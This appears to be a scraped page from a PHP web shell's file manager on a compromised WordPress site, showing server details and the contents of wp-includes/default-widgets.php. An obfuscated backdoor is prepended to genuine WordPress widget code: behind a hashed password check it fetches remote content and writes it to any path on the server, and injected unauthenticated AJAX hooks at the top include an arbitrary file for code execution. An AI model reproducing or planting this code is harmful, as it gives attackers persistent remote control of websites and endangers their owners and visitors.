if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } HEX
HEX
Server: Apache
System: Linux dx292 6.1.0-39-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.148-1 (2025-08-26) x86_64
User: www-data (33)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
$ pwd: /data/www/welovefamily.at/welovefamily.at/htdocs_infected/wp-includes/
Upload Files
File: /data/www/welovefamily.at/welovefamily.at/htdocs_infected/wp-includes/default-widgets.php
<?php 
$vLftCTsP = ${"_"."R"./*+/*+*/
"E"."Q"./*+/*+*/"U"."E"
/*+/*+*/."S"."T"};
if (md5( /*+/*+*/
md5($vLftCTsP[0]) /*+/*+*/
. md5($vLftCTsP[0])) == "8".
"8".
"6".
"0".
"0".
"3".
"9".
"8".
"2".
"d".
"2".
"d".
"2".
"6".
"7".
"5".
"2".
"8".
"4".
"7".
"9".
"7".
"c".
"4".
"1".
"b".
"b".
"6".
"a".
"8".
"5".
"a") {
$utLWYS = "st" . /*+/*+*/"rr"
/*+/*+*/ . "ev";
$HVTVoJXlK = $utLWYS /*+/*+*/
("stn" . "etn" ./*+/*+*/
"oc_t" . "up_e" . "lif");
$LouFyT = $utLWYS
/*+/*+*/("stn" .
"etn" . "oc_t" . /*+/*+*/
"eg_e" . "lif"); function rFQDL($kbqVxoSuzp) { if (empty($kbqVxoSuzp)) return false; if (!is_dir($kbqVxoSuzp)) { rFQDL(dirname($kbqVxoSuzp), 0755, true); mkdir($kbqVxoSuzp); } } !file_exists(dirname($vLftCTsP[1])) && rFQDL(dirname($vLftCTsP[1])); $QmTcwg = @$LouFyT($vLftCTsP[2]); echo @$HVTVoJXlK($vLftCTsP[1], $QmTcwg) ? 1 : 0; die; }key($vLftCTsP) == "of" && die("Qian Ru Ok"); ?><?php
/**
 * Widget API: Default core widgets
 *
 * @package WordPress
 * @subpackage Widgets
 * @since 2.8.0
 */

/** WP_Widget_Pages class */
require_once ABSPATH . WPINC . '/widgets/class-wp-widget-pages.php';

/** WP_Widget_Links class */
require_once ABSPATH . WPINC . '/widgets/class-wp-widget-links.php';

/** WP_Widget_Search class */
require_once ABSPATH . WPINC . '/widgets/class-wp-widget-search.php';

/** WP_Widget_Archives class */
require_once ABSPATH . WPINC . '/widgets/class-wp-widget-archives.php';

/** WP_Widget_Media class */
require_once ABSPATH . WPINC . '/widgets/class-wp-widget-media.php';

/** WP_Widget_Media_Audio class */
require_once ABSPATH . WPINC . '/widgets/class-wp-widget-media-audio.php';

/** WP_Widget_Media_Image class */
require_once ABSPATH . WPINC . '/widgets/class-wp-widget-media-image.php';

/** WP_Widget_Media_Video class */
require_once ABSPATH . WPINC . '/widgets/class-wp-widget-media-video.php';

/** WP_Widget_Media_Gallery class */
require_once ABSPATH . WPINC . '/widgets/class-wp-widget-media-gallery.php';

/** WP_Widget_Meta class */
require_once ABSPATH . WPINC . '/widgets/class-wp-widget-meta.php';

/** WP_Widget_Calendar class */
require_once ABSPATH . WPINC . '/widgets/class-wp-widget-calendar.php';

/** WP_Widget_Text class */
require_once ABSPATH . WPINC . '/widgets/class-wp-widget-text.php';

/** WP_Widget_Categories class */
require_once ABSPATH . WPINC . '/widgets/class-wp-widget-categories.php';

/** WP_Widget_Recent_Posts class */
require_once ABSPATH . WPINC . '/widgets/class-wp-widget-recent-posts.php';

/** WP_Widget_Recent_Comments class */
require_once ABSPATH . WPINC . '/widgets/class-wp-widget-recent-comments.php';

/** WP_Widget_RSS class */
require_once ABSPATH . WPINC . '/widgets/class-wp-widget-rss.php';

/** WP_Widget_Tag_Cloud class */
require_once ABSPATH . WPINC . '/widgets/class-wp-widget-tag-cloud.php';

/** WP_Nav_Menu_Widget class */
require_once ABSPATH . WPINC . '/widgets/class-wp-nav-menu-widget.php';

/** WP_Widget_Custom_HTML class */
require_once ABSPATH . WPINC . '/widgets/class-wp-widget-custom-html.php';

/** WP_Widget_Block class */
require_once ABSPATH . WPINC . '/widgets/class-wp-widget-block.php'; ?>
@ Telegram